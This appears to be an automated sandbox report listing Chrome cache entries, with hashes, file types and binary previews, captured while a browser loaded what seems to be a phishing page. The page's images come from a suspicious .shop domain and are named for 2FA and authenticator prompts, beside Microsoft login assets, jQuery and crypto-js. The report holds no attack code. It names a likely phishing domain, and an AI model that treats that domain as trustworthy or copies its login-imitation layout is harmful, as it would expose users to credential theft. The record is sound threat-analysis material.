SHA-512:	8E6C238D447BDFB38AA75FC0CE28F6B1B50E061BBBEDA1D9268851455137EF4447405F6F8EA70BFED1BB2CEEC264EAFBA524FED198D707F5379CAEBA7222D6DF
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwlp01cyapx99RIFDXOGH_YSBQ11AbE9EhAJzIkdIbw1z8ISBQ2DqFs9EhAJTooe12jFXtcSBQ1Xevf9EhAJbIgF7GrggPsSBQ2Y1xen?alt=proto
Preview:	ChIKBw1zhh/2GgAKBw11AbE9GgAKFQoTDYOoWz0aBAgJGAEaBAhkGAIgAQoNCgsNV3r3/RoECEsYAgoJCgcNmNcXpxoA

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3716
Entropy (8bit):	7.86008072577244
Encrypted:	false
SSDEEP:	96:SKvJPPPPPB3f4jQ/x7UR9QG+2pJzuLZKbpVmoeT6p6//xdcmCPPPPPd:Xg0p7UR93+CckoXmY0mC
MD5:	C2DCB4821F20ACF4FB2BC036A4FD30A7
SHA1:	67C0AAD8FA08187ADED93059E1868D72D1F60EF4
SHA-256:	2D44C3B13C9057D5EF8DB356F47F29D0A7B79CCCE4A1140018352289CB304336
SHA-512:	1874376CAB836D91115B911BB303DD23B47E13CB0543254DED97D28DFD147F51AC50322D32C96FEB070FE1EBB450386426E2D88FAA7249A344B0227378A4DCAF
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx....p..y...y...$A....S..I.!.k.........M.a..$...4.t...4..?B'C;..fH...-..A.....YNM.3Ih..c.q3....,[.}...R.:..=...................RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..R..i..N...}.F.CD......<.9... .3..t"z..43....y.3........FGG...Wt....x..ND.`.K........@...0..D......X.;J&......M.\|^R...1.......s....2.,.uW....l4.b..&.1w...~e.mo.:n.e"X.R..z.~..[m..d.&...j...D$i....,.uKD..$..y...7U...]H...`............-..`........O..ADG....}..'"K.........sZ+...c.\|......Z..;AG...w...\|A......If~.q.J.\.i+..a.s...&.!........)...qll.h+..v...\|>...F.1K....>".roo..O?........c6....{..^D....s....k.!.:X....C...l..@}....}..T=.R..F..".Gs]4.........qR.dI...u.+..1".Em#"......;m.....>".......g".;.Zm...:YG....AP6.......q.k+...l..v..m...0.l.ROO..vv.Y.z.f.=....l.H.^...;v..UW.\|>....1...f...}...V]..y.k....Ss...j.z]'....V....k.hg....

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5533
Entropy (8bit):	7.868367222778225
Encrypted:	false
SSDEEP:	96:SBXiPNWG31uPEy9ucfLxH70+O/depOauaLqnIJJGX5drnp26JS9MU0QRK:YiPNhFusMuALRg/UEaHLqaKdLp26JSGj
MD5:	2DC3BE48C823410906BFEE4FDFC9ACF7
SHA1:	53ECEC3CCE21DD1D12EC9DAAD1B720002CE5046B
SHA-256:	F2C40A63580308BF348C5E8EB9A0880238F5F207E228E0C091E83B1EFCBF979F
SHA-512:	C20BF2DA2B1BC67EF9B6D06FF73F01E987B5C0805DB2730DF21F485F17C73342824A64EE739962CD19B21BE511FE4CF060B0D1D67AB9059E765BE0BB2CDCEDD2
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/call_2fa.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx..y\|.....,..$H!$....I.d!.%.F..G..0!,.1.... .p...1.XC $...Z.`e.ty...uX........$....t..C.\|.Q.3..3....?....x~....+..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4.....@S>.i....l.]...J.2..t....B.b..}.m[.i.t<.`............cL1...\|..7...Yub..Dt'".....c..t....U ...n.~.......` b..v"z....._.\|...e.!.8..n.!.a.B\..V[[[k.P..1....RJ!...p..r ....0.%..F..0..W..X.i.m{Y.Q..0.."........u\|...\|...!* ....~1.....B...w!b).w!.c.O..Q__..c.fL...n..!"B.-.7..F%..B.4.!..C..~":]JY....E.q1"..e3BT?.+.7b...b....5.....'~..........!.M^6DD.p......$6a..9O)uO.Q.#...0...!`..766.Y.h.`.az"....o........-...\|~....`z.eYa...MM.N..8../bT.a...?....W...IDw#b....._........?.".f....\|>o.@..2....p....] ...Q..*.Bt..=.1W_DD...,.vXT...e-..KDY??.8.0...-..0.K ....R..CHE...Z[[.u..]GF..b...d2.FkO..o.@.m..W..L...p...0~..?.#..I

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=1, software=Google], baseline, precision 8, 1652x929, components 3
Category:	downloaded
Size (bytes):	19683
Entropy (8bit):	7.071111056071884
Encrypted:	false
SSDEEP:	384:fswhRxjtQOnykVZcvQ1/1ThQq8xD3TYzlHxY2oYA+wJHQWrrJrUDBdSGYH/5K7x:ptHnykZccThuDjYzlHxYrpJwSrUDBdSy
MD5:	E6C2BB8995A62FE5E7E8526443E524EF
SHA1:	8C2A2182CF54B1D07D4758A326AA1BEE99D7E59C
SHA-256:	EFCFD4559471866F1F28FF4C67FD629C36FEC893EA2071B8E54509A2471FEDD5
SHA-512:	893CD26E8FD2C330B62FCB299FF37D1B58F386959EBACC82A6C2A07BA2464680D73FA78A06363675EA421CF418DD491BCBAA649BA0F3A06201E7928B04CD7792
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/bg_normal.png
Preview:	......JFIF.............Exif..II.......1...............Google................................................................................................................................................t.."..................................... ......................1A!a.qQ.....................................................A1............?..P....=.j.....h.!..E..j........X..Hb.:.&..........F.:@X..$.. . ...............P.M...p.@L1J......u.Q.5........z..zYQ..MTP................4.....5uu...V... ...j3.'F..........2. P.qT.W...WR......Z2......B..Q:%....(..(.bF..f..@kS.....43..b.....@VuS.i....-'.KUV.MDQ4.Q5@.....@.^...u...4...A@ZP..WN.UkU..hN.@....jUae.....4.%.....Y%..P....lKKP.K@KSD.....-E.....-.N.P.....N.Qb......@M4.g..._,th:..Q..P.M.M:1.zjW5.k..... 5.&.BJt..:5+.,.#bJ...@.\d.......g@.]:@.z]d....5.5...ek6....j...$Z&.R'+.P..P"&.,....%..j.. ..h4/K..(....3...BtZ.%...E...X.....\P..+IA.X....UQ....4.e.S...V.[PM.Tf.B.[...(".......B..g.F....S.t.......lL....z^....g...0.lc.l`.lg..

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3568
Entropy (8bit):	7.9016329579635425
Encrypted:	false
SSDEEP:	96:SOTA4xE7tz73s34BCAdVzqAA1QeTrlvBi/uj3LL:byJc34Maznjenb643
MD5:	8BC112DAA200D63832C66E06404ECC23
SHA1:	EA334D21EE8487B4BDFF46A9140E0AD11FBE7A79
SHA-256:	F25DFD78D4D536460D422EA51153547EDEB12F9662867F8972413972007E35C3
SHA-512:	7215A00057A019370719807B5B9949AF82CD8637B336E5090942F64D56CF7EA840746807E2C9F96E250D84EC67FA28CF0C24712E6CB7D2B1F0ABC175A36DBF29
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/2fa_authenticator.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....<IDATx..y..U.....$d.`8..p.. \.r..E....8<.@9..P.C..K..!U.".....@!.rI..D.H....BN..r...>w...k...\|...~3.......u..y.~...............@?`..=....V...k....0...V..h.V.......#......3.....,....C......B^.~.......4.. .H..TK..K#.R..>.e.....m.U.\d.W..S.....4y...........~..+...=..B.s.U......8[.+....x....%.D.f...dk@.L.2......($.i=.\|.{.aj.......o.oY.........d.UH.;.#...7.b.....z`,..Z.d+Y.,V...IK....2..,.....~b}Sc...6.U...736.....}...LC2.B......,A....v..H..h.g:4k.1H.jE.../.n.X......M.~...?.....J.v....s.f..D.x(.-.(...)..P.,.}..H.]/....W.m.mXL.a]...w3:........Z..\......._ ....p...s.g.J`H8S......s......_6....($..YE../!........}........w.L..T].FNPk....F....u.R`..d.H....jA...]Go&.<....F... \|.]'..V.\..]....~1x.=.....U?.C..5ZvO..}......r....;.]...L\..s.q...B...rX.{&...O~.......-.......<z.V........<.X.h.^L...k.{t\|....X.

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2382
Entropy (8bit):	7.754672982746685
Encrypted:	false
SSDEEP:	48:+L5oHYETJ2a4FFBX5c7x00po9XXNo0CHcTqOdE:SoY8ka4DBX56xiXX+cXdE
MD5:	73C7E94086CFC8822F89EBA198643CEC
SHA1:	BDCDFA0F40602E4AB4C75365E155B6DA308C0CBA
SHA-256:	033AE15F266CA2F0EDB4980492E4E70C5A41FFB87EE9F6DAAEA6A4EF64980034
SHA-512:	CE8C54E849008C4570172755867FF25EA15D0679811116428D74B0AFD5F0E5A665F94F4B785312EA930E5BB22124808A5484C0675508E2F185900650F3BF4AE8
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/auth_number.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx...{l[W......<H.HT.m........,..M...U.A.?..IHU%....&....c+."`.!US.@.T...P.....646&h...TM.....M T...8v.\|?R..=.<.\|.{\|\|n...............................................0.w...N>...&..L.[.~.:.e\|w@...E^0X...E^.j.^......z..F..KE$Y....,.;..\|..c.!YkC..z..K!y.`....y.`....y.`....y.`....y.`....y.`....yQ.....Z..`=.`.XSS.+.......(...u\|.K&..mmmK.`...2.Li....."X.Tj.....n.q.\/....i......U...=.5".TD.Z.....u.jii9.....j.........X,..c>..w.c.'..;.R....N.Ap8....U..B...Z.n][kk..._..1.6...D..+W.<*"K'...Y........A.S,.....KA.l...1..=..MU;. .l...1.:[.`..>.J.^5.\|).....1-..9..ys..vkkk..".U..U..0......>5T..Zz\|\|.LOO...9..".9.q.c>...F......J.......~[D.+"w.=..8....1fE.T.UWW..3.{..iOm{.0...1...]"rS..3....'}5.....d...}i.`..}...WU.OU....U.a.O..o...5.N...>m.....Ri..<.`'....3.o.%=.z@u...y4$"{....p...2....O..7.U....\.p..__

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3716
Entropy (8bit):	7.86008072577244
Encrypted:	false
SSDEEP:	96:SKvJPPPPPB3f4jQ/x7UR9QG+2pJzuLZKbpVmoeT6p6//xdcmCPPPPPd:Xg0p7UR93+CckoXmY0mC
MD5:	C2DCB4821F20ACF4FB2BC036A4FD30A7
SHA1:	67C0AAD8FA08187ADED93059E1868D72D1F60EF4
SHA-256:	2D44C3B13C9057D5EF8DB356F47F29D0A7B79CCCE4A1140018352289CB304336
SHA-512:	1874376CAB836D91115B911BB303DD23B47E13CB0543254DED97D28DFD147F51AC50322D32C96FEB070FE1EBB450386426E2D88FAA7249A344B0227378A4DCAF
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/key_workshcool.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx....p..y...y...$A....S..I.!.k.........M.a..$...4.t...4..?B'C;..fH...-..A.....YNM.3Ih..c.q3....,[.}...R.:..=...................RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..R..i..N...}.F.CD......<.9... .3..t"z..43....y.3........FGG...Wt....x..ND.`.K........@...0..D......X.;J&......M.\|^R...1.......s....2.,.uW....l4.b..&.1w...~e.mo.:n.e"X.R..z.~..[m..d.&...j...D$i....,.uKD..$..y...7U...]H...`............-..`........O..ADG....}..'"K.........sZ+...c.\|......Z..;AG...w...\|A......If~.q.J.\.i+..a.s...&.!........)...qll.h+..v...\|>...F.1K....>".roo..O?........c6....{..^D....s....k.!.:X....C...l..@}....}..T=.R..F..".Gs]4.........qR.dI...u.+..1".Em#"......;m.....>".......g".;.Zm...:YG....AP6.......q.k+...l..v..m...0.l.ROO..vv.Y.z.f.=....l.H.^...;v..UW.\|>....1...f...}...V]..y.k....Ss...j.z]'....V....k.hg....

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5421
Entropy (8bit):	7.930688904991097
Encrypted:	false
SSDEEP:	96:SUxJ4nAqKQCa02WVVGaMgWeRVJWiYcfb04mXYUwgPBh2RGKNpEP5O/:vD4nAqKQx02WVV8eRVyGbrUVhp4Ex4
MD5:	6F4395D60BFEA0E5AA9FB9E1945457AE
SHA1:	54124E723872C50889A119F95F31F84F9D092F3A
SHA-256:	930B3261C05DDF41566CA5906F3A5F91A437BF4DE2513A84D5995A8AA1AEC819
SHA-512:	1D682B2CDA1FB730C22A202181047379A8F74DFDFA265F2BDE9E14B5BFF9ADBE8FCE93897F78273A9639072E507DEC38A3C905C18ED694A02ECCB283C3C7130D
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....yIDATx...pU...{.K..G09.@......P(b..[~.f.q..-T......Km..J..n.B..j...".f.."..168......{k.D.!.9..A.BrNr.......3...7..s..y....03E".R.c5M+%.R.c...^ .(.P........h+.v...I..&!D..&...!..40.1I....;..y.r[..03...%f...:.....@..C.0s.....!.w$I.8....jll,.B..`&....pY........0s..i.[RR...5.A....)... .X.....).../...w...C...\|o.H$2Q.;.y>....'IN..!..&I....$./.....M......!...; .C.....^...g.../.2.........DT...h!.m....JJJBn..._.KU...cf^. .m=.q..~.`.,..n...O.+....!~..w!}.......J.T..3<i.O?......?b....s[.Gi..A..V..V....S..Z.\..k..n...D..p.$I.zi..3.F.....7.!nr[.O9.`Y0...m!. ....Y.pxUgg.............W#..(...a......I..n..r-b.B.%.\.1.-L....)..m..8.........~......i.3...URRr..A.5V(.!....89n.......yN.{9f.P(4..^.0.13\B4...-**z....c).2.@.2.r.BM...B.o81...R.e.3. ....+........v.d....T..C... ..BQ.G....83..(.....3X..eY^i. ["...k.1

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	330
Entropy (8bit):	5.464119121531775
Encrypted:	false
SSDEEP:	6:6v/lhPp0xH2plH0thAuikdUXphjhSZng5NDgFjbSIYtWHcjp:6v/7BYuWhAupUXpSZng5ClbH1HcN
MD5:	79CF1EFDBFAF6AFF7E32AD13BFA4BBED
SHA1:	0E07B7F718F59B81246DCD059D9DA90ACBE2DA60
SHA-256:	FEA8FBAEC75213E1AF8005EDFCDC94E7B5D7DCA6DDB4E262D66E4756BDA96D54
SHA-512:	E6A653C6C9052043AD8A5A3217647D1914460E2021C531474326FC2AF5F3CF4F9920812DB7BA97B0ECC543AA9B56D1C5408CE7995D634B7A1AB251D4AAD47DD2
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/logo-off-1.png
Preview:	.PNG........IHDR.....................sBIT.....O.....PLTEGpL.P".................tRNS.@..f....bKGD....H..._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....bIDATx...I..0.......R.B...#g5............................... .4..6..............................<kh.[[.O.....IEND.B`.

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5533
Entropy (8bit):	7.868367222778225
Encrypted:	false
SSDEEP:	96:SBXiPNWG31uPEy9ucfLxH70+O/depOauaLqnIJJGX5drnp26JS9MU0QRK:YiPNhFusMuALRg/UEaHLqaKdLp26JSGj
MD5:	2DC3BE48C823410906BFEE4FDFC9ACF7
SHA1:	53ECEC3CCE21DD1D12EC9DAAD1B720002CE5046B
SHA-256:	F2C40A63580308BF348C5E8EB9A0880238F5F207E228E0C091E83B1EFCBF979F
SHA-512:	C20BF2DA2B1BC67EF9B6D06FF73F01E987B5C0805DB2730DF21F485F17C73342824A64EE739962CD19B21BE511FE4CF060B0D1D67AB9059E765BE0BB2CDCEDD2
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx..y\|.....,..$H!$....I.d!.%.F..G..0!,.1.... .p...1.XC $...Z.`e.ty...uX........$....t..C.\|.Q.3..3....?....x~....+..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4.....@S>.i....l.]...J.2..t....B.b..}.m[.i.t<.`............cL1...\|..7...Yub..Dt'".....c..t....U ...n.~.......` b..v"z....._.\|...e.!.8..n.!.a.B\..V[[[k.P..1....RJ!...p..r ....0.%..F..0..W..X.i.m{Y.Q..0.."........u\|...\|...!* ....~1.....B...w!b).w!.c.O..Q__..c.fL...n..!"B.-.7..F%..B.4.!..C..~":]JY....E.q1"..e3BT?.+.7b...b....5.....'~..........!.M^6DD.p......$6a..9O)uO.Q.#...0...!`..766.Y.h.`.az"....o........-...\|~....`z.eYa...MM.N..8../bT.a...?....W...IDw#b....._........?.".f....\|>o.@..2....p....] ...Q..*.Bt..=.1W_DD...,.vXT...e-..KDY??.8.0...-..0.K ....R..CHE...Z[[.u..]GF..b...d2.FkO..o.@.m..W..L...p...0~..?.#..I

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
URL:	https://code.jquery.com/jquery-1.9.1.js
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
URL:	https://aea14i7zphg.wqqqqop.shop/static/media/godaddy-left.png
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2382
Entropy (8bit):	7.754672982746685
Encrypted:	false
SSDEEP:	48:+L5oHYETJ2a4FFBX5c7x00po9XXNo0CHcTqOdE:SoY8ka4DBX56xiXX+cXdE
MD5:	73C7E94086CFC8822F89EBA198643CEC
SHA1:	BDCDFA0F40602E4AB4C75365E155B6DA308C0CBA
SHA-256:	033AE15F266CA2F0EDB4980492E4E70C5A41FFB87EE9F6DAAEA6A4EF64980034
SHA-512:	CE8C54E849008C4570172755867FF25EA15D0679811116428D74B0AFD5F0E5A665F94F4B785312EA930E5BB22124808A5484C0675508E2F185900650F3BF4AE8
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx...{l[W......<H.HT.m........,..M...U.A.?..IHU%....&....c+."`.!US.@.T...P.....646&h...TM.....M T...8v.\|?R..=.<.\|.{\|\|n...............................................0.w...N>...&..L.[.~.:.e\|w@...E^0X...E^.j.^......z..F..KE$Y....,.;..\|..c.!YkC..z..K!y.`....y.`....y.`....y.`....y.`....y.`....yQ.....Z..`=.`.XSS.+.......(...u\|.K&..mmmK.`...2.Li....."X.Tj.....n.q.\/....i......U...=.5".TD.Z.....u.jii9.....j.........X,..c>..w.c.'..;.R....N.Ap8....U..B...Z.n][kk..._..1.6...D..+W.<*"K'...Y........A.S,.....KA.l...1..=..MU;. .l...1.:[.`..>.J.^5.\|).....1-..9..ys..vkkk..".U..U..0......>5T..Zz\|\|.LOO...9..".9.q.c>...F......J.......~[D.+"w.=..8....1fE.T.UWW..3.{..iOm{.0...1...]"rS..3....'}5.....d...}i.`..}...WU.OU....U.a.O..o...5.N...>m.....Ri..<.`'....3.o.%=.z@u...y4$"{....p...2....O..7.U....\.p..__

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1552
Entropy (8bit):	7.728798860889317
Encrypted:	false
